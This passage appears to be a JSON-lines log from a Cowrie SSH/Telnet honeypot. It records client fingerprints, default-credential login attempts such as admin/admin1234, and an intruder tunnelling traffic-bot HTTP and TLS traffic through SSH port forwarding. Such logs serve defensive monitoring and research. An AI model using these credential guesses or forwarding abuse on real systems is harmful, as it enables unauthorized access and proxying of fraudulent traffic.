{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:31.099268Z","src_ip":"91.92.40.36","session":"b104c0c1992d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":63264,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5a71e0cf07","protocol":"ssh","message":"New connection: 23.175.50.47:63264 (10.17.0.5:22) [session: 7d5a71e0cf07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:32.047249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:32.063473Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:32.199965Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:33.575690Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.77112293243408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:34.315887Z","src_ip":"172.81.62.90","session":"3068d7336d17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dsp","password":"123456","message":"login attempt [dsp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:35.448722Z","src_ip":"91.92.40.36","session":"b104c0c1992d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48814,"dst_ip":"159.203.135.109","dst_port":22,"session":"3565491a322a","protocol":"ssh","message":"New connection: 91.92.40.36:48814 (159.203.135.109:22) [session: 3565491a322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.378619Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.444898Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.449240Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.505884Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Safari/537.36 OPR/60.3.3004.55692\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RmFtPmxrUzM%2BM1VVZCVQZA%3D%3D9iee0x7Rc7DHYWQpyGxVMb4EOaLFQi2nhqCEfKLRhlP4EETCgmSaVg7e9M8i%2BhsTxRZI93PPPVG%2FoWRlodGyRrjNlRVjj%2FbKiWpzsgwGQd7CVdlLiYSJKzdXZ5We7C1aEr9xRRfdWwq3L4o9cOC052kwrztf%2BQz5O04fYfLnf5DKEELV8KMVRAhttB6TdUx2zKhbm%2FSaaUNN8CpTQiQqqqNKmDKnumaFI%2F9CHi%2Fdl9H86iBetlEBhcdcuk%2FGqOppJqVMrI27O5yk%2BujficuorvCM%2FtEHw9bdyoUhpc8yIDzoMmSbeF2T5FZLsBbSDiiWSBy9Qx9nrlB%2F1dtzGq2yEa%2Bx5XRqU5qq9X0oRFtIhjP7obItV6DSCoJ4XcqKuMXg9%2FhCF1UytV8ya3GAnZGhmzNO1gfS3I5d%2FPxkhYw49erC6cRcBmP880SWQV5QtIWX691Pn7S27lO%2FBtYvv2ZtLnaxmmRlPKo1EFeygHTKI6XK4HEtnBU6%2FApmiqUHNVbjDAt8KdpJrMEZwSOWNb%2ByPjotwOMbBzHprSdtEuZ1daCt9pqjcdPQdKB9CAYSebgh9r1czREKSggyWIso6C2hOUY%2FOBSgFcAl376fny11kVWHXYEEH3zWGqgNykXSLNCuEoBr5eVd3CsZjE%2BfOKU3hyBmgZN52luYHX%2BznAjTNAzLJfiaKrxE8GVq2%2BWX0HSMN%2B6v4rUSMNgFCyR2qaw9Q3j09iAp9pkXSap%2BoBS1BAYKdBovFo8XAd3tGt2Xn%2Bm7%2BshjHuXJvvu1ftUjoMBXrVCRYdFTRyLsWOwz4k8C8SBHmfFAM2OCeoe0fzBjBAo859HdHsKQl52tujd6mQ6Ojo4Rlu%2FpHWN8%2BZOW8qwI3EKZ4BT1o5JODI%2BJGqhK%2BQ9DYHET7WxvbWPGZ1Ck74aLDNjHNWzchYaWT%2Bih2LKvn2ExzW1F4jhwf5V7DyuRK04ckNXOvuV62EitUbo20i9xcXl9oIwNZcR7IGlZctngTxhfE2Lwt9JJKZJlufCoc8lhSxW2RPLeEY2Hijtph1GJc%2F5AcfLpmA4wtBDB5p62%2B08nvrXxhHrFt65ryQShWO%2Bo'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Safari/537.36 OPR/60.3.3004.55692\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RmFtPmxrUzM%2BM1VVZCVQZA%3D%3D9iee0x7Rc7DHYWQpyGxVMb4EOaLFQi2nhqCEfKLRhlP4EETCgmSaVg7e9M8i%2BhsTxRZI93PPPVG%2FoWRlodGyRrjNlRVjj%2FbKiWpzsgwGQd7CVdlLiYSJKzdXZ5We7C1aEr9xRRfdWwq3L4o9cOC052kwrztf%2BQz5O04fYfLnf5DKEELV8KMVRAhttB6TdUx2zKhbm%2FSaaUNN8CpTQiQqqqNKmDKnumaFI%2F9CHi%2Fdl9H86iBetlEBhcdcuk%2FGqOppJqVMrI27O5yk%2BujficuorvCM%2FtEHw9bdyoUhpc8yIDzoMmSbeF2T5FZLsBbSDiiWSBy9Qx9nrlB%2F1dtzGq2yEa%2Bx5XRqU5qq9X0oRFtIhjP7obItV6DSCoJ4XcqKuMXg9%2FhCF1UytV8ya3GAnZGhmzNO1gfS3I5d%2FPxkhYw49erC6cRcBmP880SWQV5QtIWX691Pn7S27lO%2FBtYvv2ZtLnaxmmRlPKo1EFeygHTKI6XK4HEtnBU6%2FApmiqUHNVbjDAt8KdpJrMEZwSOWNb%2ByPjotwOMbBzHprSdtEuZ1daCt9pqjcdPQdKB9CAYSebgh9r1czREKSggyWIso6C2hOUY%2FOBSgFcAl376fny11kVWHXYEEH3zWGqgNykXSLNCuEoBr5eVd3CsZjE%2BfOKU3hyBmgZN52luYHX%2BznAjTNAzLJfiaKrxE8GVq2%2BWX0HSMN%2B6v4rUSMNgFCyR2qaw9Q3j09iAp9pkXSap%2BoBS1BAYKdBovFo8XAd3tGt2Xn%2Bm7%2BshjHuXJvvu1ftUjoMBXrVCRYdFTRyLsWOwz4k8C8SBHmfFAM2OCeoe0fzBjBAo859HdHsKQl52tujd6mQ6Ojo4Rlu%2FpHWN8%2BZOW8qwI3EKZ4BT1o5JODI%2BJGqhK%2BQ9DYHET7WxvbWPGZ1Ck74aLDNjHNWzchYaWT%2Bih2LKvn2ExzW1F4jhwf5V7DyuRK04ckNXOvuV62EitUbo20i9xcXl9oIwNZcR7IGlZctngTxhfE2Lwt9JJKZJlufCoc8lhSxW2RPLeEY2Hijtph1GJc%2F5AcfLpmA4wtBDB5p62%2B08nvrXxhHrFt65ryQShWO%2Bo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.508956Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.624768Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.630219Z","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.685876Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\xe8<\\xe9}\\xf7\\x8e\\x0e\\xa4\\xd6\\xbf\\x8e\\xc4bJ\\xb7\\x1d\\x1d}\\x0b\\xd3A]\\x9f\\xf9\\x0cE\\xe9\\x97F\\x83b \\xe9\\xa9\\x13\\x99\\xd7n\\xb9\\x12\\xc4\\xc5\\xfcUG\\xf0T\\xd6\\xc8s\\xbe\\xfah\\xfbo\\xeeM,\\x8c%\\na[O\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xc5\\xbaR\\xd3\\xefM,\\xd0Y\\xc7\\xf4\\x85\\x97s\\xb5\\x025\\xe7\\x92ve\\x0f\\x84q\\xbc\\x9e\\xf9I\\xb5t\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\xe8<\\xe9}\\xf7\\x8e\\x0e\\xa4\\xd6\\xbf\\x8e\\xc4bJ\\xb7\\x1d\\x1d}\\x0b\\xd3A]\\x9f\\xf9\\x0cE\\xe9\\x97F\\x83b \\xe9\\xa9\\x13\\x99\\xd7n\\xb9\\x12\\xc4\\xc5\\xfcUG\\xf0T\\xd6\\xc8s\\xbe\\xfah\\xfbo\\xeeM,\\x8c%\\na[O\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xc5\\xbaR\\xd3\\xefM,\\xd0Y\\xc7\\xf4\\x85\\x97s\\xb5\\x025\\xe7\\x92ve\\x0f\\x84q\\xbc\\x9e\\xf9I\\xb5t\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.688225Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:36.693245Z","src_ip":"23.175.50.47","session":"7d5a71e0cf07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03V\\x1e\\x0c\\x9f\\xb8\\x99H/\\x880\\x1a\\xff\\xf8\\x91\\xc3\\x00\\x86\"\\x9e@:\\x95@\\x11\\x8an\\xc5\\xefy\\xaf\\xa0\\xd4 e\\xbe\\x12_\\xcb\\x809\\xaf\\xe6\\x89[\\xb7\\xef\\xd04\\xa9\\x98\\xe6w;Y\\xdf\\xc5m\\xe8SgR\\x04\\x1e!\\x0b\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\x15\\x87\\x1b\\xd4g\\xbfX\\xd1Q\\xb8\\xd5D\\xee\\x1f\\x1f$\\xfa\\xe3\\x80\\x9a\\xd4\\x12\\xcf\\x98\\xe2\\x1c\\xb34)\\xbc0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03V\\x1e\\x0c\\x9f\\xb8\\x99H/\\x880\\x1a\\xff\\xf8\\x91\\xc3\\x00\\x86\"\\x9e@:\\x95@\\x11\\x8an\\xc5\\xefy\\xaf\\xa0\\xd4 e\\xbe\\x12_\\xcb\\x809\\xaf\\xe6\\x89[\\xb7\\xef\\xd04\\xa9\\x98\\xe6w;Y\\xdf\\xc5m\\xe8SgR\\x04\\x1e!\\x0b\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 